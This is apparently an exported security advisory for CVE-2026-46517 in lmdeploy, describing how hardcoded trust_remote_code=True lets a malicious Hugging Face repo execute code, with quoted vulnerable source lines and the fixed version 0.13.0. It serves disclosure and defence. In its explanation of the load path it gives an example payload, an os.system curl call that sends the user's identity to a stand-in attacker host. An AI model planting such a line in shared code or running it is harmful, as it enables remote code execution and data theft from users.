lmdeploy
Affected
- introduced
0, fixed0.13.0(ecosystem)
Fixed versions
0.13.0
Fix
- Fixed version
0.13.0pip install --upgrade lmdeploy==0.13.0
Advisory
Also known as: CVE-2026-46517, PYSEC-2026-2608
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
> ## ๐ Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
>
> The accurate description of this vulnerability is:
> **"get_model_arch and related helpers hardcode trust_remote_code=True
> with no opt-out, creating an implicit unsafe remote-code load path
> on every model fetch."**
>
> What this report does NOT claim:
> * It is NOT a network-attack RCE โ the user supplies the model
> reference; LMDeploy honors it.
> * It is NOT a "supply chain" CVE in the classical sense (where a
> benign upstream is compromised) โ the user explicitly types the
> repo name.
>
> What this report DOES claim:
> * Other inference frameworks (vLLM, TGI, Hugging Face transformers
> itself) all expose --trust-remote-code as opt-in so that
> users who consciously load known-safe repos can opt in, while
> users following a tutorial cannot accidentally execute attacker
> Python by typing a wrong repo name.
> * LMDeploy's hardcoded True is an implicit trust-boundary
> override that violates HF Transformers' default-secure stance
> (trust_remote_code=False since transformers โฅ 4.30).
> * The fix is a one-line CLI flag (--trust-remote-code) defaulting
> False, threaded through the three sites, matching the rest of
> the ecosystem.
>
> Severity should be assessed as hardening / safe-by-default,
> not as full unauthenticated RCE. CVSS revised to 5.5 Medium
> (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ร user-must-load qualifier).
>
> Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.
---
F13 โ LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in
Reporter: ibondarenko1 / [email protected]
Coordinated-disclosure window: 90 days from initial vendor email.
TL;DR
LMDeploy unilaterally passes trust_remote_code=True totransformers.AutoConfig.from_pretrained() (and several otherfrom_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source โ there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a **silent override of HuggingFace Transformers' own
default-secure stance** (trust_remote_code=False) introduced
in HF Transformers โฅ 4.30 specifically to prevent this class of
supply-chain RCE.
The user running lmdeploy serve api_server <attacker_repo>,lmdeploy lite calibrate <attacker_repo>, etc. has **no way to
opt out**. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy โ which is incompatible
with LMDeploy's documented use case.
HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).
This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues โ e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.
Affected version
github.com/InternLM/lmdeploy, branch main.9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).lmdeploy/archs.py โ 68fa03a407734be1e2ae04098d34e9acdbe98262lmdeploy/lite/apis/calibrate.py โ 0728304bdc3c03eee1d790bfbd5496df080a0ecdlmdeploy/lite/utils/load.py โ 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120lmdeploy/pytorch/check_env/model.py โ b1a2daaa426bf5fe25030f7913c703eed9f5b261Snapshots of all four files are in source_pinned/.
Source-level evidence
Site 1 โ architecture detection (every load goes through here)
lmdeploy/archs.py:147-157 โ get_model_arch:
def get_model_arch(model_path: str):
"""Get a model's architecture and configuration."""
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)
Both the primary path and the fallback hardcodetrust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.
Site 2 โ quantization CLI
lmdeploy/lite/apis/calibrate.py:248-251:
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)
lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.
Site 3 โ calibration helper
lmdeploy/lite/utils/load.py:55:
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
...
hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)
Even if the caller does not pass trust_remote_code=True in**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.
Site 4 โ pytorch engine check
lmdeploy/pytorch/check_env/model.py:10,99,234,242 โtrust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" โ a determined caller can pass False โ but every
shipped CLI passes True or relies on the default.
What trust_remote_code=True actually enables
When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:
.py file from the repo.importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).So a malicious repo only needs a top-levelos.system("curl https://attacker/?$(whoami)") inconfiguration_evil.py. It runs as the lmdeploy process user.
Threat model
Attack surface. Any user who runs an lmdeploy CLI command against
a HuggingFace repo identifier they did not personally vet. This
includes:
lmdeploy serve api_server <some_repo>.lmdeploy lite calibrate for benchmarking is enough.High Basis: The source's own band: HIGH
0, fixed 0.13.0 (ecosystem)0.13.0
0.13.0pip install --upgrade lmdeploy==0.13.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) ยท CC BY 4.0